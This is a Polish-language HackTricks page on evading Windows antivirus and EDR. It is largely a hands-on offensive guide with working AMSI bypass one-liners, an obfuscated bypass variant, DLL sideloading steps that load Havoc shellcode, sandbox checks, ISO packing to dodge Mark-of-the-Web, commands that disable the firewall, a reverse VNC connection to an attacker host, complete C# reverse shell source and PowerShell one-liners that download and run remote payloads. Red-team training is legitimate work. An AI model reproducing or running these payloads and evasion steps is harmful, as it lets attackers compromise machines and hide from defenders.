hacktricks/windows-hardening/av-bypass.md

36 KiB

Metoda unikania programów antywirusowych (AV)

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ta strona została napisana przez @m2rc_p!

Metodologia unikania AV

Obecnie programy antywirusowe (AV) używają różnych metod sprawdzania, czy plik jest złośliwy, czy nie, statyczną detekcję, analizę dynamiczną i dla bardziej zaawansowanych rozwiązań EDR, analizę behawioralną.

Statyczna detekcja

Statyczna detekcja jest osiągana poprzez oznaczanie znanych złośliwych ciągów znaków lub tablic bajtów w pliku binarnym lub skrypcie, a także wyodrębnianie informacji z samego pliku (np. opis pliku, nazwa firmy, sygnatury cyfrowe, ikona, suma kontrolna, itp.). Oznacza to, że korzystanie z znanych publicznych narzędzi może sprawić, że zostaniesz łatwiej wykryty, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju detekcji:

  • Szyfrowanie

Jeśli zaszyfrujesz plik binarny, AV nie będzie w stanie wykryć twojego programu, ale będziesz potrzebował pewnego rodzaju ładowacza do odszyfrowania i uruchomienia programu w pamięci.

  • Obliteracja

Czasami wystarczy zmienić niektóre ciągi znaków w swoim pliku binarnym lub skrypcie, aby ominąć AV, ale może to być zadanie czasochłonne, w zależności od tego, co próbujesz zasłonić.

  • Narzędzia niestandardowe

Jeśli opracowujesz własne narzędzia, nie będzie znanych złych sygnatur, ale wymaga to dużo czasu i wysiłku.

{% hint style="info" %} Dobrym sposobem sprawdzenia statycznej detekcji Windows Defender jest ThreatCheck. W zasadzie dzieli plik na kilka segmentów, a następnie zleca Defenderowi skanowanie każdego z nich osobno, w ten sposób może powiedzieć ci dokładnie, jakie ciągi znaków lub bajtów są oznaczone w twoim pliku. {% endhint %}

Gorąco polecam obejrzenie tej playliście na YouTube dotyczącej praktycznego unikania AV.

Analiza dynamiczna

Analiza dynamiczna polega na uruchomieniu twojego pliku binarnego w piaskownicy i obserwowaniu złośliwej aktywności (np. próba odszyfrowania i odczytu haseł z przeglądarki, wykonywanie minidumpa na LSASS, itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.

  • Uśpienie przed wykonaniem W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na obejście dynamicznej analizy AV. AV ma bardzo krótki czas na skanowanie plików, aby nie przeszkadzać użytkownikowi w pracy, więc używanie długich uśpienia może zakłócić analizę binarnych plików. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć uśpienie, w zależności od tego, jak jest to zaimplementowane.
  • Sprawdzanie zasobów komputera Zazwyczaj piaskownice mają bardzo mało zasobów do pracy (np. < 2 GB RAM), w przeciwnym razie mogłyby spowolnić pracę użytkownika. Tutaj również możesz być bardzo kreatywny, na przykład sprawdzając temperaturę procesora lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
  • Sprawdzenia specyficzne dla maszyny Jeśli chcesz skierować się do użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby sprawdzić, czy pasuje do tej, którą określiłeś, jeśli nie, możesz zmusić swój program do wyjścia.

Okazuje się, że komputer piaskownicy Microsoft Defender ma nazwę HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detenacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że znajdujesz się w piaskownicy defendera, więc możesz zmusić swój program do wyjścia.

źródło: https://youtu.be/StSLxFbVz0M?t=1439

Kilka innych naprawdę dobrych wskazówek od @mgeeky dotyczących walki z piaskownicami

Red Team VX Discord #malware-dev channel

Jak wspomnieliśmy wcześniej w tym poście, publiczne narzędzia w końcu zostaną wykryte, więc powinieneś zadać sobie pytanie:

Na przykład, jeśli chcesz wykonać dump LSASS, czy naprawdę musisz użyć mimikatz? Czy nie mogłbyś użyć innego projektu, który jest mniej znany i również wykonuje dump LSASS.

Prawdopodobnie właściwą odpowiedzią jest ta druga opcja. Biorąc mimikatz jako przykład, jest to prawdopodobnie jeden z, jeśli nie najbardziej oznaczonych przez AV i EDRs szkodliwych programów, podczas gdy sam projekt jest super, jest to również koszmar, aby pracować z nim w celu uniknięcia AV, więc po prostu poszukaj alternatyw dla tego, co chcesz osiągnąć.

{% hint style="info" %} Podczas modyfikowania swoich ładunków w celu uniknięcia, upewnij się, że wyłączysz automatyczne przesyłanie próbek w defenderze, i proszę, serio, NIE WYSYŁAJ NA VIRUSTOTAL jeśli twoim celem jest osiągnięcie uniknięcia na dłuższą metę. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez określone AV, zainstaluj go na maszynie wirtualnej, spróbuj wyłączyć automatyczne przesyłanie próbek i przetestuj go tam, aż będziesz zadowolony z wyniku. {% endhint %}

EXE vs DLL

Zawsze, gdy to możliwe, zawsze daj pierwszeństwo użyciu DLL-ek do unikania, moim doświadczeniem, pliki DLL są zazwyczaj znacznie mniej wykrywane i analizowane, więc to bardzo prosty trik do użycia w celu uniknięcia wykrycia w niektórych przypadkach (jeśli twój ładunek ma sposób działania jako DLL oczywiście).

Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrywalności 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrywalności 7/26.

porównanie antiscan.me normalnego ładunku EXE Havoc z normalnym ładunkiem DLL Havoc

Teraz pokażemy kilka sztuczek, których możesz użyć z plikami DLL, aby być znacznie bardziej skrytobójczym.

Wstrzykiwanie DLL i Proxying

Wstrzykiwanie DLL wykorzystuje kolejność wyszukiwania DLL używaną przez ładowacz, umieszczając zarówno aplikację ofiarę, jak i złośliwe ładunki obok siebie.

Możesz sprawdzić programy podatne na wstrzykiwanie DLL za pomocą Siofra i następującego skryptu powershell:

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

To polecenie wyświetli listę programów podatnych na przejęcie DLL w "C:\Program Files\" oraz pliki DLL, które próbują załadować.

Gorąco zalecam samodzielne zbadanie programów podatnych na przejęcie DLL/Sideloadable, ta technika jest dość skryta, jeśli jest wykonana poprawnie, ale jeśli używasz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać wykryty.

Po prostu umieszczenie złośliwej DLL o nazwie, którą program oczekuje załadować, nie spowoduje załadowania twojego ładunku, ponieważ program oczekuje określonych funkcji wewnątrz tej DLL. Aby rozwiązać ten problem, skorzystamy z innej techniki o nazwie DLL Proxying/Forwarding.

DLL Proxying przekierowuje wywołania, które program wykonuje z poziomu proxy (i złośliwej) DLL do oryginalnej DLL, zachowując tym samym funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.

Będę korzystał z projektu SharpDLLProxy autorstwa @flangvik

Oto kroki, które postępowałem:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

Ostatnie polecenie dostarczy nam 2 pliki: szablon kodu źródłowego DLL i oryginalne przemianowane DLL.

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

Oto wyniki:

Zarówno nasz shellcode (zakodowany za pomocą SGN), jak i proxy DLL mają wskaźnik wykrywalności 0/26 w antiscan.me! Nazwałbym to sukcesem.

{% hint style="info" %} Gorąco polecam obejrzenie twitch VOD S3cur3Th1sSh1t na temat DLL Sideloading oraz również filmu ippsec'a, aby dowiedzieć się więcej o tym, o czym rozmawialiśmy bardziej szczegółowo. {% endhint %}

Freeze

Freeze to zestaw narzędzi do łamania EDRs za pomocą zawieszonych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania

Możesz użyć Freeze do załadowania i wykonania swojego shellcode w dyskretny sposób.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} Unikanie jest jak grę w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, dlatego nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć kilka technik unikania. {% endhint %}

AMSI (Interfejs Skanowania Antywirusowego)

AMSI został stworzony, aby zapobiegać "malware'owi bezplikowemu". Początkowo programy antywirusowe były w stanie skanować pliki na dysku, więc jeśli udało ci się uruchomić ładunki bezpośrednio w pamięci, program antywirusowy nie mógł nic zrobić, ponieważ nie miał wystarczającej widoczności.

Funkcja AMSI jest zintegrowana w te komponenty systemu Windows.

  • Kontrola konta użytkownika, czyli UAC (podnoszenie uprawnień plików EXE, COM, MSI lub instalacji ActiveX)
  • PowerShell (skrypty, interaktywne użycie i dynamiczna ocena kodu)
  • Host skryptów systemu Windows (wscript.exe i cscript.exe)
  • JavaScript i VBScript
  • Makra VBA programu Office

Pozwala rozwiązaniom antywirusowym inspekcjonować zachowanie skryptów, ujawniając zawartość skryptu w formie niezaszyfrowanej i niezakamuflowanej.

Uruchomienie IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') spowoduje wyświetlenie następującego alertu w programie Windows Defender.

Zauważ, jak dodaje prefiks amsi: a następnie ścieżkę do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku powershell.exe

Nie zapisaliśmy żadnego pliku na dysku, ale i tak zostaliśmy wykryci w pamięci z powodu AMSI.

Istnieje kilka sposobów obejścia AMSI:

  • Obufuskowanie

Ponieważ AMSI głównie działa z wykrywaniem statycznym, zmodyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.

Jednak AMSI ma zdolność do odszyfrowywania skryptów nawet jeśli mają one wiele warstw, więc obfuskacja może być złym wyborem w zależności od tego, jak jest wykonana. Sprawia to, że unikanie nie jest tak proste. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc zależy to od tego, ile coś zostało oznaczone.

  • Ominięcie AMSI

Ponieważ AMSI jest implementowany poprzez załadowanie biblioteki DLL do procesu powershell (również cscript.exe, wscript.exe, itp.), jest możliwe łatwe manipulowanie nim nawet uruchamiając się jako użytkownik bez uprawnień. Ze względu na tę wadę w implementacji AMSI, badacze znaleźli kilka sposobów na uniknięcie skanowania AMSI.

Wymuszenie błędu

Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie uruchomione skanowanie dla bieżącego procesu. Początkowo zostało to ujawnione przez Matt Graeber, a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

Wystarczyła jedna linia kodu PowerShell, aby uniemożliwić użycie AMSI dla bieżącego procesu PowerShell. Oczywiście ta linia została wykryta przez AMSI, więc konieczne jest wprowadzenie pewnych modyfikacji, aby skorzystać z tej techniki.

Oto zmodyfikowane obejście AMSI, które znalazłem w tym Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Modyfikacja pamięci

Ta technika została początkowo odkryta przez @RastaMouse i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonych przez użytkownika danych wejściowych) i nadpisaniu jej instrukcjami zwracającymi kod dla E_INVALIDARG, w ten sposób wynik rzeczywistego skanu zwróci 0, co jest interpretowane jako czysty wynik.

{% hint style="info" %} Proszę przeczytać https://rastamouse.me/memory-patching-amsi-bypass/ dla bardziej szczegółowego wyjaśnienia. {% endhint %}

Istnieje wiele innych technik używanych do ominięcia AMSI za pomocą powershell, sprawdź tę stronę oraz ten repozytorium, aby dowiedzieć się więcej na ich temat.

Obfuskacja

Istnieje kilka narzędzi, które można użyć do obfuskacji jawnego kodu C#, generowania szablonów metaprogramowania do kompilowania binariów lub obfuskacji skompilowanych binariów, takich jak:

  • InvisibilityCloak: Obfuskator C#
  • Obfuscator-LLVM: Celem tego projektu jest dostarczenie otwartej wersji LLVM, która zapewnia zwiększone bezpieczeństwo oprogramowania poprzez obfuskację kodu i zabezpieczenie przed ingerencją.
  • ADVobfuscator: ADVobfuscator pokazuje, jak używać języka C++11/14 do generowania, w czasie kompilacji, zasłoniętego kodu bez użycia zewnętrznego narzędzia i bez modyfikowania kompilatora.
  • obfy: Dodaje warstwę zasłoniętych operacji generowanych przez szkielet metaprogramowania C++, co utrudni osobie chcącej złamać aplikację życie.
  • Alcatraz: Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
  • metame: Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
  • ropfuscator: ROPfuscator to zaawansowany framework obfuskacji kodu na poziomie kodu asemblera dla języków obsługiwanych przez LLVM, wykorzystujący ROP (programowanie zwracające się). ROPfuscator obfuskuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, zwalczając nasze naturalne pojęcie normalnego przepływu sterowania.
  • Nimcrypt: Nimcrypt to krypter .NET PE napisany w Nim
  • inceptor: Inceptor jest w stanie przekształcić istniejące pliki EXE/DLL w kod shellcode, a następnie załadować je

SmartScreen & MoTW

Możesz zobaczyć ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i ich uruchamiania.

Microsoft Defender SmartScreen to mechanizm bezpieczeństwa mający na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.

SmartScreen głównie działa w oparciu o podejście oparte na reputacji, co oznacza, że pobieranie aplikacji rzadkości spowoduje uruchomienie SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (choć plik można nadal uruchomić, klikając Więcej informacji -> Uruchom w każdym razie).

MoTW (Mark of The Web) to Alternatywny Strumień Danych NTFS o nazwie Zone.Identifier, który jest automatycznie tworzony podczas pobierania plików z internetu, wraz z adresem URL, z którego został pobrany.

Sprawdzanie alternatywnego strumienia danych Zone.Identifier dla pliku pobranego z internetu.

{% hint style="info" %} Warto zauważyć, że pliki wykonywalne podpisane zaufanym certyfikatem nie spowodują uruchomienia SmartScreen. {% endhint %}

Bardzo skutecznym sposobem zapobiegania otrzymywaniu znaku Mark of The Web przez twoje ładunki jest umieszczenie ich w pewnego rodzaju kontenerze, takim jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) nie może być stosowany do woluminów nie NTFS.

PackMyPayload to narzędzie, które pakuje ładunki do kontenerów wyjściowych, aby uniknąć oznaczenia Mark-of-the-Web.

Przykładowe użycie:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Oto demo omijania SmartScreen poprzez pakowanie ładunków w plikach ISO za pomocą PackMyPayload

Refleksja Zbioru C#

Ładowanie binarnych plików C# do pamięci jest znane od dłuższego czasu i nadal jest bardzo dobrym sposobem uruchamiania narzędzi post-eksploatacyjnych bez wykrycia przez AV.

Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli jedynie zająć się łatanie AMSI dla całego procesu.

Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, itp.) już umożliwia wykonanie zbiorów C# bezpośrednio w pamięci, ale istnieją różne sposoby tego wykonania:

  • Fork&Run

Polega na uruchomieniu nowego procesu ofiarnego, wstrzyknięciu złośliwego kodu post-eksploatacyjnego do tego nowego procesu, wykonaniu złośliwego kodu i po zakończeniu zabicia nowego procesu. Metoda fork and run ma swoje zalety i wady. Zaletą tej metody jest to, że wykonanie następuje poza naszym procesem implantu Beacon. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte w naszej akcji post-eksploatacyjnej, istnieje dużo większa szansa na przeżycie implantu. Wadą jest większe ryzyko wykrycia przez Wykrywanie Zachowań.

  • Inline

Polega na wstrzyknięciu złośliwego kodu post-eksploatacyjnego do własnego procesu. W ten sposób można uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonywania ładunku, istnieje dużo większe ryzyko utrata beaconu, ponieważ może on ulec awarii.

{% hint style="info" %} Jeśli chcesz dowiedzieć się więcej o ładowaniu zbiorów C#, zapoznaj się z tym artykułem https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ oraz ich InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) {% endhint %}

Możesz również ładować zbiory C# z PowerShell, sprawdź Invoke-SharpLoader oraz film S3cur3th1sSh1t.

Korzystanie z Innych Języków Programowania

Zaproponowane w https://github.com/deeexcee-io/LOI-Bins, jest możliwe wykonanie złośliwego kodu za pomocą innych języków, udostępniając zainfekowanej maszynie dostęp do środowiska interpretera zainstalowanego na kontrolowanym przez atakującego udziale SMB.

Pozwalając na dostęp do binarnych interpreterów i środowiska na udziale SMB, można wykonać dowolny kod w tych językach w pamięci zainfekowanej maszyny.

Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy większą elastyczność w omijaniu statycznych sygnatur. Testowanie losowych niezaciemnionych skryptów powłamania zwrotnego w tych językach udowodniło swoją skuteczność.

Zaawansowane Unikanie

Unikanie jest bardzo skomplikowanym tematem, czasami trzeba wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc jest praktycznie niemożliwe pozostanie całkowicie niezauważonym w dojrzałych środowiskach.

Każde środowisko, z którym się zetkniesz, będzie miało swoje mocne i słabe strony.

Gorąco zachęcam do obejrzenia tego wystąpienia od @ATTL4S, aby uzyskać wgląd w bardziej zaawansowane techniki unikania.

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

To także kolejne świetne wystąpienie od @mariuszbit na temat Unikania w Głębi.

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

Stare Techniki

Sprawdź, które części Defender uznaje za złośliwe

Możesz użyć ThreatCheck, który usunie części binarne, aż dowie się, która część Defendera uznaje za złośliwą i podzieli to z tobą.
Innym narzędziem, które robi to samo, jest avred z otwartą ofertą usługi w https://avred.r00ted.ch/

pkgmgr /iu:"TelnetServer" /quiet

Uruchom go po uruchomieniu systemu i uruchom go teraz:

sc config TlntSVR start= auto obj= localsystem

Zmień port telnet (stealth) i wyłącz zapórę sieciową:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Pobierz go z: http://www.uvnc.com/downloads/ultravnc.html (chcesz pobrać pliki binarne, a nie instalator)

NA HOSTINGU: Uruchom winvnc.exe i skonfiguruj serwer:

  • Włącz opcję Disable TrayIcon
  • Ustaw hasło w VNC Password
  • Ustaw hasło w View-Only Password

Następnie przenieś plik binarny winvnc.exe oraz nowo utworzony plik UltraVNC.ini do ofiary

Połączenie odwrotne

Atakujący powinien wykonać wewnątrz swojego hostingu plik binarny vncviewer.exe -listen 5900, aby był gotowy do przechwycenia odwrotnej łączności VNC. Następnie, wewnątrz ofiary: Uruchom demona winvnc winvnc.exe -run i uruchom winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

OSTRZEŻENIE: Aby zachować ukrycie, musisz unikać kilku rzeczy

  • Nie uruchamiaj winvnc, jeśli już działa, w przeciwnym razie wywołasz okienko popup. Sprawdź, czy działa, używając tasklist | findstr winvnc
  • Nie uruchamiaj winvnc bez pliku UltraVNC.ini w tym samym katalogu, w przeciwnym razie spowoduje to otwarcie okna konfiguracyjnego
  • Nie uruchamiaj winvnc -h dla pomocy, w przeciwnym razie wywołasz okienko popup

GreatSCT

Pobierz go z: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Wewnątrz GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Teraz uruchom nasłuchiwacz za pomocą msfconsole -r file.rc i wykonaj payload xml za pomocą:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Obecny obrońca szybko zakończy proces.

Kompilacja naszego własnego odwróconego powłoki

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Pierwsza odwrócona powłoka C#

Skompiluj to za pomocą:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Użyj tego z:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# za pomocą kompilatora

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Automatyczne pobranie i wykonanie:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

Lista obfuskatorów C#: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Korzystanie z pythona do budowy przykładowych wstrzykiwaczy:

Inne narzędzia

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Więcej

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: